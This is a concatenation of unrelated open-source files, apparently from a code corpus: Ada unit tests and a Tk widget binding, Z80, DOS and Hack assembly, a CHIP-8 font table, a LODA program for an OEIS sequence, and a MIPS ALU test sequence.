-------------------------------------------------------------------------------
with AUnit.Assertions; use AUnit.Assertions;
with Util;
with LSC.Types;
pragma Style_Checks (Off);
package body Util_Tests
is
use type LSC.Types.Bytes;
pragma Warnings (Off, "formal parameter ""T"" is not referenced");
procedure Test_Bytes_To_String_Simple (T : in out Test_Cases.Test_Case'Class)
is
Result : constant String := Util.B2S ((16#de#, 16#ad#, 16#be#, 16#ef#));
begin
Assert (Result = "deadbeef", "Invalid result: " & Result);
end Test_Bytes_To_String_Simple;
---------------------------------------------------------------------------
procedure Test_Bytes_To_String_Odd (T : in out Test_Cases.Test_Case'Class)
is
Result : constant String := Util.B2S ((16#c#, 16#af#, 16#ef#, 16#ee#));
begin
Assert (Result = "cafefee", "Invalid result: " & Result);
end Test_Bytes_To_String_Odd;
---------------------------------------------------------------------------
procedure Test_String_To_Bytes_Simple (T : in out Test_Cases.Test_Case'Class)
is
Result : constant LSC.Types.Bytes := Util.S2B ("deadbeef");
begin
Assert (Result = (16#de#, 16#ad#, 16#be#, 16#ef#), "Invalid result: " & Util.B2S (Result));
end Test_String_To_Bytes_Simple;
---------------------------------------------------------------------------
procedure Test_String_To_Bytes_Whitespace (T : in out Test_Cases.Test_Case'Class)
is
Result : constant LSC.Types.Bytes := Util.S2B ("01 23" & ASCII.HT & "45 67 89 ab cd ef");
begin
Assert (Result = (16#01#, 16#23#, 16#45#, 16#67#, 16#89#, 16#ab#, 16#cd#, 16#ef#),
"Invalid result: " & Util.B2S (Result));
end Test_String_To_Bytes_Whitespace;
---------------------------------------------------------------------------
procedure Test_String_To_Bytes_Odd (T : in out Test_Cases.Test_Case'Class)
is
Result : constant LSC.Types.Bytes := Util.S2B ("dead bee"); -- ;-(
begin
Assert (Result = (16#d#, 16#ea#, 16#db#, 16#ee#), "Invalid result: " & Util.B2S (Result));
end Test_String_To_Bytes_Odd;
---------------------------------------------------------------------------
procedure Test_String_To_Bytes_Surrounding (T : in out Test_Cases.Test_Case'Class)
is
Result : constant LSC.Types.Bytes := Util.S2B (" 0123456789abcdef" & ASCII.HT & " ");
begin
Assert (Result = (16#01#, 16#23#, 16#45#, 16#67#, 16#89#, 16#ab#, 16#cd#, 16#ef#),
"Invalid result: " & Util.B2S (Result));
end Test_String_To_Bytes_Surrounding;
---------------------------------------------------------------------------
procedure Test_String_To_Bytes_Uppercase (T : in out Test_Cases.Test_Case'Class)
is
Result : constant LSC.Types.Bytes := Util.S2B ("ADF3456789aBCdEf");
begin
Assert (Result = (16#ad#, 16#f3#, 16#45#, 16#67#, 16#89#, 16#ab#, 16#cd#, 16#ef#),
"Invalid result: " & Util.B2S (Result));
end Test_String_To_Bytes_Uppercase;
---------------------------------------------------------------------------
procedure Invalid_Conversion
is
Result : constant LSC.Types.Bytes := Util.S2B ("An invalid hex string does not belong here!");
pragma Unreferenced (Result);
begin
null;
end Invalid_Conversion;
procedure Test_String_To_Bytes_Invalid (T : in out Test_Cases.Test_Case'Class)
is
begin
Assert_Exception (Invalid_Conversion'Access, "Exception expected");
end Test_String_To_Bytes_Invalid;
---------------------------------------------------------------------------
procedure Test_Text_To_Bytes_Simple (T : in out Test_Cases.Test_Case'Class)
is
Result : constant LSC.Types.Bytes := Util.T2B ("Dead Beef!");
begin
Assert (Result = (16#44#, 16#65#, 16#61#, 16#64#, 16#20#,
16#42#, 16#65#, 16#65#, 16#66#, 16#21#), "Invalid result: " & Util.B2S (Result));
end Test_Text_To_Bytes_Simple;
---------------------------------------------------------------------------
procedure Test_Bytes_To_Text_Simple (T : in out Test_Cases.Test_Case'Class)
is
Result : constant String := Util.B2T ((16#44#, 16#65#, 16#61#, 16#64#, 16#20#,
16#42#, 16#65#, 16#65#, 16#66#, 16#21#));
begin
Assert (Result = "Dead Beef!", "Invalid result: " & Result);
end Test_Bytes_To_Text_Simple;
---------------------------------------------------------------------------
procedure Test_Bytes_To_Text_To_Bytes (T : in out Test_Cases.Test_Case'Class)
is
Expected : constant LSC.Types.Bytes :=
(16#0B#, 16#46#, 16#D9#, 16#8D#, 16#A1#, 16#04#, 16#64#, 16#84#,
16#60#, 16#55#, 16#8B#, 16#3F#, 16#2B#, 16#22#, 16#4E#, 16#FE#,
16#CB#, 16#EF#, 16#32#, 16#95#, 16#A7#, 16#0E#, 16#E0#, 16#E9#,
16#CA#, 16#79#, 16#28#, 16#C9#, 16#8B#, 16#31#, 16#64#, 16#81#,
16#93#, 16#85#, 16#56#, 16#B2#, 16#28#, 16#22#, 16#A7#, 16#55#,
16#BA#, 16#4D#, 16#B2#, 16#90#, 16#D3#, 16#E4#, 16#D7#, 16#9F#);
Result : constant LSC.Types.Bytes := Util.T2B (Util.B2T (Expected));
begin
Assert (Result = Expected, "Invalid result: " & Util.B2S (Result));
end Test_Bytes_To_Text_To_Bytes;
---------------------------------------------------------------------------
procedure Test_Text_To_Bytes_To_Text (T : in out Test_Cases.Test_Case'Class)
is
Expected : constant String :=
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do "&
"eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim " &
"ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut " &
"aliquip ex ea commodo consequat. Duis aute irure dolor in";
Result : constant String := Util.B2T (Util.T2B (Expected));
begin
Assert (Result = Expected, "Invalid result: " & Result);
end Test_Text_To_Bytes_To_Text;
---------------------------------------------------------------------------
procedure Register_Tests (T: in out Test_Case) is
use AUnit.Test_Cases.Registration;
begin
Register_Routine (T, Test_Bytes_To_String_Simple'Access, "Bytes to string (simple)");
Register_Routine (T, Test_Bytes_To_String_Odd'Access, "Bytes to string (odd)");
Register_Routine (T, Test_String_To_Bytes_Simple'Access, "String to bytes (simple)");
Register_Routine (T, Test_String_To_Bytes_Whitespace'Access, "String to bytes (whitespace)");
Register_Routine (T, Test_String_To_Bytes_Odd'Access, "String to bytes (odd)");
Register_Routine (T, Test_String_To_Bytes_Surrounding'Access, "String to bytes (surrounding whitespace)");
Register_Routine (T, Test_String_To_Bytes_Uppercase'Access, "String to bytes (uppercase)");
Register_Routine (T, Test_String_To_Bytes_Invalid'Access, "String to bytes (invalid)");
Register_Routine (T, Test_Text_To_Bytes_Simple'Access, "Text to bytes (simple)");
Register_Routine (T, Test_Bytes_To_Text_Simple'Access, "Bytes to text (simple)");
Register_Routine (T, Test_Bytes_To_Text_To_Bytes'Access, "Bytes to text to bytes");
Register_Routine (T, Test_Text_To_Bytes_To_Text'Access, "Text to bytes to text");
end Register_Tests;
---------------------------------------------------------------------------
function Name (T : Test_Case) return Test_String is
begin
return Format ("Utils");
end Name;
end Util_Tests;
|
src/tk/tk-labelframe.adb | thindil/tashy2 | 2 | 25386 | -- Copyright (c) 2021 <NAME> <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
package body Tk.Labelframe is
function Create
(Path_Name: Tk_Path_String; Options: Label_Frame_Create_Options;
Interpreter: Tcl_Interpreter := Get_Interpreter) return Tk_Label_Frame is
Options_String: Unbounded_String := Null_Unbounded_String;
begin
Option_Image
(Name => "background", Value => Options.Background,
Options_String => Options_String);
Option_Image
(Name => "borderwidth", Value => Options.Border_Width,
Options_String => Options_String);
Option_Image
(Name => "class", Value => Options.Class,
Options_String => Options_String);
Option_Image
(Name => "colormap", Value => Options.Color_Map,
Options_String => Options_String);
Option_Image
(Name => "container", Value => Options.Container,
Options_String => Options_String);
Option_Image
(Name => "cursor", Value => Options.Cursor,
Options_String => Options_String);
Option_Image
(Name => "height", Value => Options.Height,
Options_String => Options_String);
Option_Image
(Name => "highlightbackground", Value => Options.Highlight_Background,
Options_String => Options_String);
Option_Image
(Name => "highlightcolot", Value => Options.Highlight_Color,
Options_String => Options_String);
Option_Image
(Name => "highlighthickness", Value => Options.Highlight_Thickness,
Options_String => Options_String);
Option_Image
(Name => "labelwidget", Value => Options.Label_Widget,
Options_String => Options_String);
Option_Image
(Name => "padx", Value => Options.Pad_X,
Options_String => Options_String);
Option_Image
(Name => "pady", Value => Options.Pad_Y,
Options_String => Options_String);
Option_Image
(Name => "relief", Value => Options.Relief,
Options_String => Options_String);
Option_Image
(Name => "takefocus", Value => Options.Take_Focus,
Options_String => Options_String);
Option_Image
(Name => "text", Value => Options.Text,
Options_String => Options_String);
Option_Image
(Name => "visual", Value => Options.Visual,
Options_String => Options_String);
Option_Image
(Name => "width", Value => Options.Width,
Options_String => Options_String);
Option_Image
(Name => "labelanchor", Value => Options.Label_Anchor,
Options_String => Options_String);
Tcl_Eval
(Tcl_Script =>
"labelframe " & Path_Name & " " &
To_String(Source => Options_String),
Interpreter => Interpreter);
return Get_Widget(Path_Name => Path_Name, Interpreter => Interpreter);
end Create;
procedure Create
(Frame_Widget: out Tk_Label_Frame; Path_Name: Tk_Path_String;
Options: Label_Frame_Create_Options;
Interpreter: Tcl_Interpreter := Get_Interpreter) is
begin
Frame_Widget :=
Create
(Path_Name => Path_Name, Options => Options,
Interpreter => Interpreter);
end Create;
function Get_Options
(Frame_Widget: Tk_Label_Frame) return Label_Frame_Create_Options is
begin
return
Options: Label_Frame_Create_Options :=
Label_Frame_Create_Options'
(Class => Null_Tcl_String, Color_Map => Null_Tcl_String,
Container => NONE, Visual => Null_Tcl_String, others => <>)
do
Options.Background :=
Option_Value(Widgt => Frame_Widget, Name => "background");
Options.Border_Width :=
Option_Value(Widgt => Frame_Widget, Name => "borderwidth");
Options.Class := Option_Value(Widgt => Frame_Widget, Name => "class");
Options.Color_Map :=
Option_Value(Widgt => Frame_Widget, Name => "colormap");
Options.Container :=
Option_Value(Widgt => Frame_Widget, Name => "container");
Options.Cursor :=
Option_Value(Widgt => Frame_Widget, Name => "cursor");
Options.Height :=
Option_Value(Widgt => Frame_Widget, Name => "height");
Options.Highlight_Background :=
Option_Value(Widgt => Frame_Widget, Name => "highlightbackground");
Options.Highlight_Color :=
Option_Value(Widgt => Frame_Widget, Name => "highlightcolor");
Options.Highlight_Thickness :=
Option_Value(Widgt => Frame_Widget, Name => "highlightthickness");
Options.Label_Anchor :=
Option_Value(Widgt => Frame_Widget, Name => "labelanchor");
Options.Label_Widget :=
Option_Value(Widgt => Frame_Widget, Name => "labelwidget");
Options.Pad_X := Option_Value(Widgt => Frame_Widget, Name => "padx");
Options.Pad_Y := Option_Value(Widgt => Frame_Widget, Name => "pady");
Options.Relief :=
Option_Value(Widgt => Frame_Widget, Name => "relief");
Options.Take_Focus :=
Option_Value(Widgt => Frame_Widget, Name => "takefocus");
Options.Text := Option_Value(Widgt => Frame_Widget, Name => "text");
Options.Visual :=
Option_Value(Widgt => Frame_Widget, Name => "visual");
Options.Width := Option_Value(Widgt => Frame_Widget, Name => "width");
end return;
end Get_Options;
overriding procedure Configure
(Frame_Widget: Tk_Label_Frame; Options: Label_Frame_Options) is
Options_String: Unbounded_String := Null_Unbounded_String;
begin
Option_Image
(Name => "background", Value => Options.Background,
Options_String => Options_String);
Option_Image
(Name => "borderwidth", Value => Options.Border_Width,
Options_String => Options_String);
Option_Image
(Name => "cursor", Value => Options.Cursor,
Options_String => Options_String);
Option_Image
(Name => "height", Value => Options.Height,
Options_String => Options_String);
Option_Image
(Name => "highlightbackground", Value => Options.Highlight_Background,
Options_String => Options_String);
Option_Image
(Name => "highlightcolot", Value => Options.Highlight_Color,
Options_String => Options_String);
Option_Image
(Name => "highlighthickness", Value => Options.Highlight_Thickness,
Options_String => Options_String);
Option_Image
(Name => "labelwidget", Value => Options.Label_Widget,
Options_String => Options_String);
Option_Image
(Name => "padx", Value => Options.Pad_X,
Options_String => Options_String);
Option_Image
(Name => "pady", Value => Options.Pad_Y,
Options_String => Options_String);
Option_Image
(Name => "relief", Value => Options.Relief,
Options_String => Options_String);
Option_Image
(Name => "takefocus", Value => Options.Take_Focus,
Options_String => Options_String);
Option_Image
(Name => "text", Value => Options.Text,
Options_String => Options_String);
Option_Image
(Name => "width", Value => Options.Width,
Options_String => Options_String);
Option_Image
(Name => "labelanchor", Value => Options.Label_Anchor,
Options_String => Options_String);
Execute_Widget_Command
(Widgt => Frame_Widget, Command_Name => "configure",
Options => To_String(Source => Options_String));
end Configure;
end Tk.Labelframe;
|
RTCSys/asm/main.asm | Threetwosevensixseven/CSpectPlugins | 4 | 19187 | <filename>RTCSys/asm/main.asm<gh_stars>1-10
; main.asm
; Copyright 2019-2020 <NAME>
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
; Assembles with Next version of Zeus
zeusemulate "Next", "RAW", "NOROM" ; from http://www.desdes.com/products/oldfiles/zeustest.exe
zxnextmap -1,DotBank1,-1,-1,-1,-1,-1,-1 ; Assemble into Next RAM bank but displace back down to $2000
zoSupportStringEscapes = true;
optionsize 5
CSpect optionbool 15, -15, "CSpect", false ; Option in Zeus GUI to launch CSpect
org $2700 ; RTC.SYS always starts at $2700
Start proc
nextreg 0, $12 ; Write first magic value to read-only register
nextreg 14, $34 ; Write second magic value to read-only register
ld bc, $243B
call ReadReg ; Read date LSB
ld l, a ; into L register
call ReadReg ; Read date MSB
ld h, a ; into H register
push hl ; Save date on stack
call ReadReg ; Read time LSB
ld e, a ; into E register
call ReadReg ; Read time MSB
ld d, a ; into D register
call ReadReg ; Read whole seconds
ld h, a ; into H register
ld l, $FF ; Signal no milliseconds
pop bc ; Restore date from stack
ccf ; Signal success
ret ; Return from RTC.SYS
pend
ReadReg proc
ld a, $7F
out (c), a
inc b
in a, (c)
dec b
ret
pend
include "constants.asm" ; Global constants
include "macros.asm" ; Zeus macros
Length equ $-Start
zeusprinthex "Command size: ", Length
zeusassert zeusver>=75, "Upgrade to Zeus v4.00 (TEST ONLY) or above, available at http://www.desdes.com/products/oldfiles/zeustest.exe"
if (Length > $2000)
zeuserror "DOT command is too large to assemble!"
endif
output_bin "..\\bin\\RTC.SYS", zeusmmu(DotBank1)+$700, Length
if enabled CSpect
zeusinvoke "..\\build\\cspect.bat", "", false
else
//zeusinvoke "..\\..\\build\\builddot.bat"
endif
|
examples/font2.asm | darklands1/chip8 | 74 | 247792 | <gh_stars>10-100
; This is the 8*10 font for SCHIP.
; Run it through the assembler to get the
; hex codes for the fonts that you can copy
; and paste into chip8.c
db ; '0'
%01111100,
%10000010,
%10000010,
%10000010,
%10000010,
%10000010,
%10000010,
%10000010,
%01111100,
%00000000
db ; '1'
%00001000,
%00011000,
%00111000,
%00001000,
%00001000,
%00001000,
%00001000,
%00001000,
%00111100,
%00000000
db ; '2'
%01111100,
%10000010,
%00000010,
%00000010,
%00000100,
%00011000,
%00100000,
%01000000,
%11111110,
%00000000
db ; '3'
%01111100,
%10000010,
%00000010,
%00000010,
%00111100,
%00000010,
%00000010,
%10000010,
%01111100,
%00000000
db ; '4'
%10000100,
%10000100,
%10000100,
%10000100,
%11111110,
%00000100,
%00000100,
%00000100,
%00000100,
%00000000
db ; '5'
%11111110,
%10000000,
%10000000,
%10000000,
%11111100,
%00000010,
%00000010,
%10000010,
%01111100,
%00000000
db ; '6'
%01111100,
%10000010,
%10000000,
%10000000,
%11111100,
%10000010,
%10000010,
%10000010,
%01111100,
%00000000
db ; '7'
%11111110,
%00000010,
%00000100,
%00001000,
%00010000,
%00100000,
%00100000,
%00100000,
%00100000,
%00000000
db ; '8'
%01111100,
%10000010,
%10000010,
%10000010,
%01111100,
%10000010,
%10000010,
%10000010,
%01111100,
%00000000
db ; '9'
%01111100,
%10000010,
%10000010,
%10000010,
%01111110,
%00000010,
%00000010,
%10000010,
%01111100,
%00000000
db ; 'A'
%00010000,
%00101000,
%01000100,
%10000010,
%10000010,
%11111110,
%10000010,
%10000010,
%10000010,
%00000000
db ; 'B'
%11111100,
%10000010,
%10000010,
%10000010,
%11111100,
%10000010,
%10000010,
%10000010,
%11111100,
%00000000
db ; 'C'
%01111100,
%10000010,
%10000000,
%10000000,
%10000000,
%10000000,
%10000000,
%10000010,
%01111100,
%00000000
db ; 'D'
%11111100,
%10000010,
%10000010,
%10000010,
%10000010,
%10000010,
%10000010,
%10000010,
%11111100,
%00000000
db ; 'E'
%11111110,
%10000000,
%10000000,
%10000000,
%11111000,
%10000000,
%10000000,
%10000000,
%11111110,
%00000000
db ; 'F'
%11111110,
%10000000,
%10000000,
%10000000,
%11111000,
%10000000,
%10000000,
%10000000,
%10000000,
%00000000
|
test.asm | lestersantos/Assembly2019 | 0 | 10441 | ; Comando para ensamblar: #nasm test.asm -o test.com
;======================================================================|
; M A I N |
;======================================================================|
ORG 100h
mov dx, cadena ; colocar direccion de cadena en DX
mov ah, 09h ; funcion 9, imprimir en pantalla
int 21h ; interrupcion DOS
mov ah, 4ch ; funcion 4C, finalizar ejecucion
int 21h ; interrupcion DOS
;======================================================================|
; D A T A |
;======================================================================|
SEGMENT data
cadena db "<NAME> B $" ;cadena de caracteres ASCII
;====================================================================== |
src/vt100-utils.ads | darkestkhan/vt100 | 8 | 24940 | <gh_stars>1-10
------------------------------------------------------------------------------
-- EMAIL: <<EMAIL>> --
-- License: ISC License (see COPYING file) --
-- --
-- Copyright © 2012 - 2015 darkestkhan --
------------------------------------------------------------------------------
-- Permission to use, copy, modify, and/or distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- The software is provided "as is" and the author disclaims all warranties --
-- with regard to this software including all implied warranties of --
-- merchantability and fitness. In no event shall the author be liable for --
-- any special, direct, indirect, or consequential damages or any damages --
-- whatsoever resulting from loss of use, data or profits, whether in an --
-- action of contract, negligence or other tortious action, arising out of --
-- or in connection with the use or performance of this software. --
------------------------------------------------------------------------------
-- Utility subprograms for ANSI/VT100 API wrapper
package VT100.Utils is
function Lines return Natural;
-- return number of lines displayed on screen
function Columns return Natural;
-- return number of column displayed on screen
end VT100.Utils;
|
projects/08/ProgramFlow/BasicLoop/BasicLoop.asm | skatsuta/nand2tetris | 1 | 10591 | // projects/08/ProgramFlow/BasicLoop/BasicLoop.vm
@0
D=A
@SP
A=M
M=D
@SP
AM=M+1
@0
D=A
@LCL
AD=D+M
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
(LOOP_START)
@0
D=A
@ARG
AD=D+M
D=M
@SP
A=M
M=D
@SP
AM=M+1
@0
D=A
@LCL
AD=D+M
D=M
@SP
A=M
M=D
@SP
AM=M+1
@SP
AM=M-1
D=M
@SP
AM=M-1
M=D+M
@SP
AM=M+1
@0
D=A
@LCL
AD=D+M
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
@0
D=A
@ARG
AD=D+M
D=M
@SP
A=M
M=D
@SP
AM=M+1
@1
D=A
@SP
A=M
M=D
@SP
AM=M+1
@SP
AM=M-1
D=M
@SP
AM=M-1
M=M-D
@SP
AM=M+1
@0
D=A
@ARG
AD=D+M
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
@0
D=A
@ARG
AD=D+M
D=M
@SP
A=M
M=D
@SP
AM=M+1
@SP
AM=M-1
D=M
@LOOP_START
D;JNE
@0
D=A
@LCL
AD=D+M
D=M
@SP
A=M
M=D
@SP
AM=M+1
(END)
@END
0;JMP
|
delay.asm | sperly/rc2014_20x4_lcd | 1 | 2163 | ;X ms wait; B is number of ms
milli_delay:
PUSH AF
PUSH BC
CALL m_delay
POP BC
POP AF
DJNZ long_wait
RET
;Delay routine
m_delay:
LD BC, 27 ;10
outer:
LD DE, 27 ;10
inner:
DEC DE ;6
LD A,D ;4/9
OR E ;4/7
JP NZ, inner ;10
DEC BC ;6
LD A,B ;4/9
OR C ;4/7
JP NZ, outer ;10
RET ;10
;X µs wait; B is number of µs
micro_delay:
NOP
NOP
DJNZ micro_delay
RET |
programs/oeis/102/A102676.asm | jmorken/loda | 1 | 88305 | ; A102676: Number of digits >= 5 in the decimal representations of all integers from 0 to n.
; 0,0,0,0,0,1,2,3,4,5,5,5,5,5,5,6,7,8,9,10,10,10,10,10,10,11,12,13,14,15,15,15,15,15,15,16,17,18,19,20,20,20,20,20,20,21,22,23,24,25,26,27,28,29,30,32,34,36,38,40,41,42,43,44,45,47,49,51,53,55,56,57,58,59,60,62,64,66,68,70,71,72,73,74,75,77,79,81,83,85,86,87,88,89,90,92,94,96,98,100,100,100,100,100,100,101,102,103,104,105,105,105,105,105,105,106,107,108,109,110,110,110,110,110,110,111,112,113,114,115,115,115,115,115,115,116,117,118,119,120,120,120,120,120,120,121,122,123,124,125,126,127,128,129,130,132,134,136,138,140,141,142,143,144,145,147,149,151,153,155,156,157,158,159,160,162,164,166,168,170,171,172,173,174,175,177,179,181,183,185,186,187,188,189,190,192,194,196,198,200,200,200,200,200,200,201,202,203,204,205,205,205,205,205,205,206,207,208,209,210,210,210,210,210,210,211,212,213,214,215,215,215,215,215,215,216,217,218,219,220,220,220,220,220,220,221,222,223,224,225
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
mul $0,2
cal $0,196564 ; Number of odd digits in decimal representation of n.
add $0,1
mul $0,2
mov $4,$0
sub $4,2
div $4,2
add $1,$4
lpe
|
P6/data_P6_2/ALUTest111.asm | alxzzhou/BUAA_CO_2020 | 1 | 172621 | <reponame>alxzzhou/BUAA_CO_2020
lhu $3,0($0)
addu $1,$2,$3
lhu $3,6($0)
andi $1,$3,26531
srlv $1,$0,$3
slt $1,$4,$3
sltu $1,$3,$3
sltiu $4,$4,-14667
srl $6,$1,12
subu $1,$1,$3
sltu $5,$5,$3
lb $3,16($0)
lh $4,10($0)
xor $4,$4,$3
sra $4,$3,7
lw $0,0($0)
lh $5,10($0)
addiu $0,$5,-3104
sh $4,14($0)
addu $4,$5,$3
sra $2,$2,4
xor $3,$4,$3
sltu $4,$5,$3
lhu $4,14($0)
sw $5,0($0)
addiu $6,$1,11349
srl $3,$3,14
andi $3,$1,44100
slti $0,$5,30559
lbu $4,5($0)
slt $4,$4,$3
lh $4,6($0)
addu $1,$0,$3
addu $1,$1,$3
lb $3,13($0)
sll $4,$1,19
xor $4,$3,$3
andi $0,$3,49807
sll $6,$4,9
or $1,$4,$3
sw $1,4($0)
lw $3,0($0)
lh $3,0($0)
lbu $0,6($0)
sltiu $4,$3,-13457
sw $0,4($0)
lhu $5,10($0)
sll $3,$3,5
subu $3,$1,$3
addu $0,$5,$3
lw $1,4($0)
addiu $1,$0,20866
sb $6,14($0)
sh $6,10($0)
lh $1,6($0)
sltu $4,$3,$3
lhu $0,6($0)
subu $4,$3,$3
sltiu $5,$5,777
sltu $4,$0,$3
nor $5,$5,$3
sltiu $3,$3,10738
slti $6,$1,9258
srl $5,$5,0
addiu $1,$4,-7478
sltiu $6,$6,15435
subu $3,$3,$3
addu $3,$1,$3
addu $4,$0,$3
lw $1,4($0)
addiu $1,$4,31974
srl $1,$4,13
slti $0,$3,-26227
sb $3,0($0)
xori $4,$6,18160
sll $4,$3,14
xori $0,$6,16386
and $0,$0,$3
addu $3,$3,$3
srav $4,$4,$3
addu $5,$3,$3
srl $3,$4,12
subu $5,$1,$3
and $3,$1,$3
srl $1,$4,15
sll $5,$4,16
slt $5,$1,$3
srav $3,$3,$3
slt $1,$1,$3
addiu $3,$3,21154
subu $5,$3,$3
subu $1,$1,$3
lb $3,15($0)
srlv $5,$3,$3
and $3,$3,$3
addu $5,$5,$3
lhu $3,16($0)
slti $1,$3,-22315
lw $3,12($0)
subu $1,$5,$3
slti $4,$5,16883
lb $1,15($0)
srl $4,$0,9
lbu $3,8($0)
sw $4,0($0)
addu $3,$1,$3
ori $1,$1,18440
xori $3,$3,41561
sra $1,$0,2
sltiu $0,$3,8829
slt $6,$6,$3
and $0,$1,$3
srl $3,$6,12
srl $4,$4,29
srav $0,$4,$3
srav $6,$4,$3
subu $4,$4,$3
sw $4,12($0)
xor $4,$5,$3
ori $4,$0,29870
slt $3,$4,$3
srl $4,$5,5
xor $5,$5,$3
lhu $4,14($0)
subu $1,$1,$3
srav $5,$6,$3
lhu $4,4($0)
subu $6,$6,$3
slt $0,$0,$3
subu $5,$3,$3
subu $3,$3,$3
sltu $1,$0,$3
lbu $3,10($0)
sw $1,8($0)
srlv $5,$0,$3
slt $5,$3,$3
addu $5,$0,$3
srlv $3,$5,$3
sh $3,10($0)
xori $4,$6,28053
subu $6,$6,$3
andi $3,$1,25435
sltu $3,$5,$3
slti $3,$3,6194
srl $0,$0,5
sb $4,8($0)
addu $4,$1,$3
lb $1,14($0)
sll $6,$0,6
sltiu $5,$2,1220
addiu $4,$1,-27243
sra $3,$4,22
sb $3,3($0)
subu $4,$5,$3
srlv $1,$5,$3
srl $3,$4,17
sh $4,12($0)
and $3,$5,$3
lb $3,9($0)
ori $3,$0,27567
ori $1,$6,36059
sra $3,$3,24
lhu $4,2($0)
srlv $4,$3,$3
lh $4,16($0)
xori $6,$2,40954
srlv $5,$4,$3
nor $6,$1,$3
slt $1,$1,$3
addu $0,$6,$3
srl $6,$1,3
sllv $4,$4,$3
addu $4,$5,$3
slt $5,$3,$3
addiu $4,$4,13171
sll $4,$3,17
subu $1,$2,$3
sll $1,$3,15
addiu $4,$1,-26262
sw $1,0($0)
slti $5,$0,22334
slt $6,$5,$3
ori $4,$3,47926
sb $4,9($0)
lhu $3,6($0)
or $3,$0,$3
subu $1,$3,$3
sw $4,12($0)
lh $4,6($0)
xor $3,$1,$3
lbu $6,4($0)
nor $3,$4,$3
subu $5,$1,$3
sll $5,$5,27
srlv $4,$3,$3
lhu $4,0($0)
and $3,$1,$3
xori $3,$3,13841
lw $5,4($0)
sltiu $5,$2,23322
sll $3,$3,5
srlv $3,$3,$3
ori $3,$3,49815
sra $4,$5,21
and $3,$0,$3
ori $0,$0,43831
xor $3,$3,$3
lh $3,12($0)
subu $4,$6,$3
xor $4,$1,$3
addu $4,$6,$3
lw $6,12($0)
sb $4,4($0)
ori $4,$1,51926
andi $1,$3,27884
sltiu $1,$3,-10384
lbu $5,11($0)
subu $0,$4,$3
sw $0,8($0)
srlv $4,$5,$3
and $3,$5,$3
xor $1,$3,$3
lh $3,4($0)
lbu $3,11($0)
sra $3,$0,22
slt $6,$4,$3
lh $1,12($0)
sltu $1,$1,$3
sb $5,14($0)
sw $1,4($0)
srl $1,$2,16
sb $4,5($0)
sb $5,8($0)
slt $5,$5,$3
srlv $5,$6,$3
srav $3,$6,$3
sltu $0,$3,$3
andi $1,$0,22899
lb $1,10($0)
ori $3,$3,18685
sllv $5,$3,$3
lw $5,12($0)
ori $3,$5,37525
or $3,$1,$3
sw $4,4($0)
sb $3,16($0)
lbu $5,10($0)
slt $1,$5,$3
or $6,$6,$3
xor $0,$5,$3
subu $6,$3,$3
sh $3,2($0)
srl $0,$5,31
ori $1,$6,55966
and $5,$5,$3
addiu $5,$3,10082
srl $1,$4,25
slt $1,$1,$3
sw $4,8($0)
addiu $6,$6,30536
srav $5,$3,$3
nor $4,$4,$3
addiu $3,$3,-22318
sb $3,3($0)
sra $3,$0,15
subu $3,$6,$3
ori $1,$3,27291
xori $5,$3,44792
sllv $1,$3,$3
sra $3,$3,29
addiu $3,$1,-9753
lbu $3,9($0)
subu $6,$5,$3
sw $4,8($0)
srl $4,$4,25
srl $5,$4,25
andi $5,$6,15719
subu $3,$3,$3
slti $3,$0,9288
sltiu $0,$4,-9937
slt $4,$5,$3
addu $5,$3,$3
sh $3,12($0)
nor $1,$4,$3
xori $5,$5,53907
lhu $3,4($0)
sltu $0,$6,$3
lb $5,15($0)
and $6,$4,$3
srlv $6,$6,$3
slt $4,$6,$3
lw $1,8($0)
lw $3,16($0)
subu $3,$1,$3
sltiu $1,$1,-2802
addiu $3,$4,-24659
sh $6,0($0)
slti $3,$3,29820
lbu $4,10($0)
xori $0,$6,23725
addu $5,$3,$3
srlv $4,$0,$3
subu $1,$1,$3
srlv $1,$4,$3
or $3,$1,$3
srl $6,$3,29
sra $3,$6,8
subu $3,$4,$3
lbu $1,11($0)
ori $4,$5,3393
sw $6,4($0)
subu $0,$5,$3
sb $5,9($0)
sb $5,11($0)
or $6,$1,$3
xor $1,$1,$3
andi $4,$6,9120
addiu $4,$5,27557
addiu $3,$5,9865
and $1,$6,$3
lb $5,3($0)
xori $3,$3,62856
srav $3,$1,$3
xori $1,$4,48685
sll $4,$3,20
sllv $4,$5,$3
sh $3,16($0)
lhu $4,14($0)
subu $5,$5,$3
slti $3,$1,-31078
srl $4,$4,1
sltu $3,$3,$3
sh $3,16($0)
sra $5,$5,8
lhu $3,8($0)
xor $3,$1,$3
and $3,$4,$3
sra $3,$4,25
and $6,$4,$3
lw $4,0($0)
lhu $1,12($0)
sltiu $1,$3,17862
ori $1,$3,61861
andi $3,$1,32176
andi $0,$4,49686
srl $3,$5,13
xor $4,$0,$3
subu $3,$4,$3
sh $5,2($0)
and $4,$1,$3
addiu $5,$5,177
sra $3,$3,6
ori $3,$5,20229
lbu $4,9($0)
addiu $5,$5,-31621
lhu $6,6($0)
slt $5,$5,$3
subu $1,$1,$3
xori $5,$0,1203
sltiu $4,$6,22937
ori $5,$4,27540
sltu $3,$3,$3
sltiu $5,$3,11013
srl $3,$6,24
nor $5,$3,$3
addu $1,$0,$3
